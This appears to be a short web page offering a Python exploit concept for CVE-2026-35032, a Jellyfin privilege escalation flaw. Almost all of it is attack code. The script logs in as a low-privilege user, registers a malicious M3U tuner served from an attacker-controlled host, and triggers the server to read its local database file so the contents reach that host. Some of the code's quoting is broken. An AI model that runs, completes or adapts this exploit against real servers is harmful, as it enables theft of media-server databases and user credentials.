CVE-2026-35032 Jellyfin权限提升漏洞

import requests # Exploit Concept for CVE-2026-35032 # Attacker controlled server URL attacker_server = "http://attacker-controlled.com" # Target Jellyfin Instance target_url = "http://jellyfin-target:8096" username = "low_priv_user" password = "password" # 1. Authenticate and get API Key session = requests.Session() auth_payload = {"Username": username, "Pw": password} auth_resp = session.post(f"{target_url}/Users/authenticatebyname", json=auth_payload) access_token = auth_resp.json().get('AccessToken') headers = {"X-Emby-Authorization": f"MediaBrowser Client="Jellyfin Web", Device="Firefox", DeviceId="xxx", Version="10.11.0", Token="{access_token}""} # 2. Add Malicious M3U Tuner pointing to attacker server # The attacker server serves an M3U containing a reference to the local DB (e.g., file:///config/data/jellyfin.db) tuner_payload = { "Type": "m3u", "Url": f"{attacker_server}/malicious_playlist.m3u", "FriendlyName": "Exploit Tuner" } add_tuner = session.post(f"{target_url}/LiveTv/TunerHosts", json=tuner_payload, headers=headers) print(f"Added tuner status: {add_tuner.status_code}") # 3. Trigger Refresh/Scan to force Jellyfin to parse the M3U and read the local file # The file content (DB) will be sent back to the attacker server via the URL specified in the M3U or logged in traffic depending on the specific SSRF implementation details. print("Check attacker server logs for exfiltrated database content.")